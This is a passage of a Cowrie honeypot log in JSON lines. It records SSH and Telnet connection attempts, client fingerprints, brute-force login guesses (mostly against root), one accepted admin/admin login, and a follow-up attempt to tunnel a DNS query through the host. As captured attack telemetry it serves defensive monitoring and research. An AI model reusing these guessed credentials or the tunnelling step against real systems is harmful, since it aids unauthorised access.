16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:22.100823Z","src_ip":"103.176.20.57","session":"d2aacaaae3cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24081991","message":"login attempt [root/24081991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:22.850798Z","src_ip":"103.176.20.57","session":"d2aacaaae3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:24.100570Z","src_ip":"103.176.20.57","session":"d2aacaaae3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.43082356452942,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:38.182446Z","src_ip":"135.148.14.151","session":"d06f6691200b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":49882,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fa7bee03f20","protocol":"ssh","message":"New connection: 202.51.70.20:49882 (10.17.0.5:22) [session: 0fa7bee03f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:39.818736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:39.822978Z","src_ip":"202.51.70.20","session":"0fa7bee03f20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:40.081839Z","src_ip":"202.51.70.20","session":"0fa7bee03f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.14659094810486,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:40.241136Z","src_ip":"135.148.14.151","session":"ade3022cb5c6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"superadmin","password":"superadmin","message":"login attempt [superadmin/superadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:41.154316Z","src_ip":"202.51.70.20","session":"0fa7bee03f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51428,"dst_ip":"159.203.135.109","dst_port":23,"session":"174c6647a6d6","protocol":"telnet","message":"New connection: 135.148.14.151:51428 (159.203.135.109:23) [session: 174c6647a6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:42.350936Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:42.418193Z","src_ip":"202.51.70.20","session":"0fa7bee03f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58970,"dst_ip":"10.17.0.5","dst_port":22,"session":"00d3d7a6a603","protocol":"ssh","message":"New connection: 87.251.64.176:58970 (10.17.0.5:22) [session: 00d3d7a6a603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:47.930631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:47.935513Z","src_ip":"87.251.64.176","session":"00d3d7a6a603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:48.030772Z","src_ip":"87.251.64.176","session":"00d3d7a6a603","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:48.316531Z","src_ip":"87.251.64.176","session":"00d3d7a6a603","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:48.415598Z","session":"00d3d7a6a603","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:48.512019Z","src_ip":"87.251.64.176","session":"00d3d7a6a603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:48.744516Z","src_ip":"87.251.64.176","session":"00d3d7a6a603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":36826,"dst_ip":"10.17.0.5","dst_port":22,"session":"b463fd09490e","protocol":"ssh","message":"New connection: 103.149.170.125:36826 (10.17.0.5:22) [session: b463fd09490e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:01.847238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:01.853315Z","src_ip":"103.149.170.125","session":"b463fd09490e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:02.124317Z","src_ip":"103.149.170.125","session":"b463fd09490e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfnhtirf","message":"login attempt [root/vfnhtirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:02.931457Z","src_ip":"103.149.170.125","session":"b463fd09490e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:04.202995Z","src_ip":"103.149.170.125","session":"b463fd09490e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.737977743148804,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:18.088805Z","src_ip":"135.148.14.151","session":"174c6647a6d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.38.7","src_port":53478,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d154174121b","protocol":"ssh","message":"New connection: 162.243.38.7:53478 (10.17.0.5:22) [session: 1d154174121b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:18.976523Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:18.983869Z","src_ip":"162.243.38.7","session":"1d154174121b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41422,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b295bf9d45c","protocol":"telnet","message":"New connection: 135.148.14.151:41422 (159.203.135.109:23) [session: 8b295bf9d45c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:21.502464Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43674,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b173dc6bda1","protocol":"telnet","message":"New connection: 135.148.14.151:43674 (159.203.135.109:23) [session: 5b173dc6bda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:25.166553Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":48074,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e6273847dea","protocol":"ssh","message":"New connection: 89.223.69.22:48074 (159.203.135.109:22) [session: 9e6273847dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:36.914908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:36.919787Z","src_ip":"89.223.69.22","session":"9e6273847dea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:37.038171Z","src_ip":"89.223.69.22","session":"9e6273847dea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parol12345","message":"login attempt [root/parol12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:37.383234Z","src_ip":"89.223.69.22","session":"9e6273847dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:58:38.500814Z","src_ip":"89.223.69.22","session":"9e6273847dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.00768232345581,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:02.174138Z","src_ip":"135.148.14.151","session":"5b173dc6bda1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.96576404571533,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:04.468101Z","src_ip":"135.148.14.151","session":"8b295bf9d45c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":59964,"dst_ip":"10.17.0.5","dst_port":22,"session":"87ce106c9c04","protocol":"ssh","message":"New connection: 202.51.70.20:59964 (10.17.0.5:22) [session: 87ce106c9c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:07.597960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:07.605315Z","src_ip":"202.51.70.20","session":"87ce106c9c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:07.863874Z","src_ip":"202.51.70.20","session":"87ce106c9c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"server","message":"login attempt [mcserver/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:08.929522Z","src_ip":"202.51.70.20","session":"87ce106c9c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:10.192384Z","src_ip":"202.51.70.20","session":"87ce106c9c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":41326,"dst_ip":"159.203.135.109","dst_port":22,"session":"64fb2f635ba3","protocol":"ssh","message":"New connection: 103.82.132.16:41326 (159.203.135.109:22) [session: 64fb2f635ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:28.381982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:28.393072Z","src_ip":"103.82.132.16","session":"64fb2f635ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:28.640204Z","src_ip":"103.82.132.16","session":"64fb2f635ba3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25121986","message":"login attempt [root/25121986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:29.384976Z","src_ip":"103.82.132.16","session":"64fb2f635ba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:30.636476Z","src_ip":"103.82.132.16","session":"64fb2f635ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":54538,"dst_ip":"159.203.135.109","dst_port":22,"session":"f717555dccda","protocol":"ssh","message":"New connection: 147.45.197.250:54538 (159.203.135.109:22) [session: f717555dccda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:48.980424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:48.985220Z","src_ip":"147.45.197.250","session":"f717555dccda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:49.075108Z","src_ip":"147.45.197.250","session":"f717555dccda","protocol":"ssh"}
